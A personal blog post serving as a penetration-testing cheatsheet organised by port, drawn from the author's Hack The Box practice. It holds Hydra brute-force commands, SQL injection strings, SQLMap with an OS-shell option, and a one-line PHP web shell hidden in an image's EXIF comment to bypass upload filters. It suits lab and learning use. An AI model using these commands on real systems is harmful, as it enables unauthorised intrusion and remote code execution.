Pablo González | Computer Engineer

Port Cheatsheet

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This post is continuosly being updated!

21 - FTP

Upload/Download files.

ftp <ip> -u <user> -p

Sometimes we can login as anonymous and password pass.

Supposing that we got creds, we can upload/download a file with:

  • put
  • mget

We can also bruteforce ftp with various tools like Hydra or Metasploit:

hydra -L <user/s(.txt)> -P <pass_wordlist.txt> <IP> ftp

22 - SSH

Remote connection.

ssh -p <port> -i <private_key> <user>@<IP> <command>
# Port by default is 22
# Private Key is not usually needed unless server asks for it
# If server denies connections, is best to copy our public key to the server
# Command is not needed, if used it will execute the command but won't give remote connection

To upload/download files:

# The trick to remember 'scp' as 'dd' is:
# scp origin destination

scp <file> <user>@<IP>:<remote folder>
scp <user>@<IP>:<remote folder> <file>

# To do it recursively just add '-r' argument

We can also bruteforce ssh:

hydra -L <users(.txt)> -P <pass_wordlist.txt> <IP> ssh
hydra -L <users(.txt)> -P <pass_wordlist.txt> ssh://<IP>
hydra -l user -p password ssh://<IP>

There are sometimes when we get a private key or credentials but when connecting it doesn’t work, then maybe there’s a knock sequence. It’s made to prevent not wanted connections and to bypass this you have to knock the ports in the sequence listed in /etc/knockd.conf. Supposing in that file appears 571, 290, 911 we have to:

for x in 571 290 911; do nmap -Pn --max-retries 0 -p $x <IP>; done

And that should open the SSH.

25 - SMTP

Mail Server capable of sending and receiving messages via POP3 or IMAP protocols.

Banner Grabbing:

nc <HOST> 25

Verify MX servers:

dig mx <HOST> +short

Automatically verify users from a list:

ismtp -h <IP> -l 1 -e <WORDLIST.EXT>

SMTP Commands:

telnet <IP> 25

HELO <domain> # Banner Grabbing

VRFY <user> # Manually Verify User

EXPN <user> # Shows email of a user

MAIL FROM:<email> # Origin of email

RCPT TO:<user> # Receiver of email

DATA # Starts the data transfer

RSET # Aborts it


HELP # Shows help

AUTH # Authentifies client with server

53 - DNS

Domain Name Resolution.

Is used to transform IP’s into a name and viceversa.

DNS Transfer is a mechanism to replicate/copy the info. of a DNS server to other DNS servers using the AXFR protocol.

More info of records here.

Using Dig:

# Banner Grabbing
dig version.bind CHAOS TXT <HOST>

# DNS Transfers
dig axfr <HOST>
# or
dig axfr @<HOST> <DOMAIN>
# or
dig axfr <IP> <HOST>

#Any information

#Regular DNS request

#IPv6 DNS request


#Emails related

#DNS that resolves that name

Using Host (gives all public DNS):

# A, AAAA, MX records
host <HOST>

# To specify records
host -t <RECORD> <HOST>

# DNS Transfer
host -l <HOST> <DNS>

80 - HTTP

Web Server.

Enumeration of directories

gobuster dir -u <IP> -w <pass_wordlist.txt> -x php,txt,html -o <output file>
dirb -u <IP> -w <pass_wordlist.txt> -X php,txt,html -o <output file>

We can also fuzz URLs to see if there might be an LFI (Local File Inclusion), it is more probable if there’s some page like /cod=1?:

wfuzz -c -v -A -z file,<fuzz_wordlist.txt>

It’s recommended to view the source code (ctrl + u) and start clicking on every link as there might be directories that aren’t in our wordlists.


If the page runs a CMS (Content Management System) we can look if there’s any exploit for it or there was a vulnerability we can exploit in some way. For WordPress there’s a unique tool called wpscan.

Discovery of this can be made through manual inspection or with the Wappalyzer browser plugin, which identifies CMS, Plugins, etc. on the webpage.


Run SQLMap against logins as there might be some misconfiguration in the database that allowed us access:

sqlmap -u http://<IP> --level 5 --risk 3

# Only if you have a request file (ie.: from Burp Suite)
sqlmap -r <file.req> --level 5 --risk3

If we find that the database is vulnerable in any way, we can extract all tables and try to get a shell.

sqlmap -u http://<IP>/index.php?cod=1 --batch -D <table> --os-shell
# -D to dump a table
# --os-shell to get a shell

If there’s no luck, we can try manual injections:

0 OR 1=1
0 OR 1=2
" OR ""="
item' AND 1 = SLEEP(2);
item ' UNION (SELECT TABLE_NAME, TABLE_SCHEMA, 3 FROM information_schema.tables);--

File Uploader

If there’s some file upload we can right away go opening Burp Suite. The idea is to fool the system into thinking that we are uploading a legitimate file, but not really. Many times we can pass through the restrictions by introducing our code at the end of a file. Changing the extension but keeping the original file.

An example is to upload a photo with embedded PHP. To do it is as easy as to introduce our PHP code at the end of the image. But sometimes this won’t work, so another way is to put an EXIF comment with code with:

exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' test.jpg

And change the name of the file test.jpg to test.php.jpg as Apache server interprets both extensions. So you can execute: -a


Another vulnerability factor is APIs, they are usually on different ports but if we find one, looking at the documentation and looking for its exploits should be sufficient.

110 - POP3

Mail Server.


# To connect
telnet <IP> 110

# Commands:
USER <user>
PASS <pass>

LIST #List messages
RETR #Retrieve messages
nmap --script=pop3* <IP>

We can use Evolution application to read mails.

443 - HTTPS

Everything is the same as HTTP but when using Burp, you have to download the certificate of Burp opening a new window: http://burp.

When downloaded you have to import the certificate in Firefox Settings and there you go!

And some tools may need to skip SSL certificates with one more argument. E.G: nmap -k

445 - SMB

Samba is one of the most useful services for enumeration.


smbclient \\<IP>\ -N
smbclient -L <IP> -N

Once listed all files as anonymous user you can list the directories without the $ this way:

smbclient \\<IP>\<directory> -N
smbclient -L <IP> -D <directory> -N

There’s times that you anon user isn’t allowed so you’ll need credentials:

smbclient \\<IP>\ -U <user> -P <pass>
smbclient -L <IP> -U <user> -P <pass>
smbclient \\<IP>\<directory> -U <user> -P <pass>
smbclient -L <IP> -D directory -U <user> -P <pass>
nmap --script=smb* <IP>



hydra -L <user/s(.txt)> -P <pass_wordlist.txt> <IP> smb

Eternalblue, EternalRomance, EternalChampion, EternalSynergy exploits.

3389 - RDP

nmap --script=rdp-* <IP>

BlueKeep (Windows 2003, Windows XP, Windows 7, Server 2008, Server 2008 R2).


I’ve tried to list all the things I encountered while breaking boxes on HTB with the most common port (according to the Nmap classification). I will keep adding things as this should be as a complete guide to any pentest.

If you think this post needs more info, ports, or details, please contact me!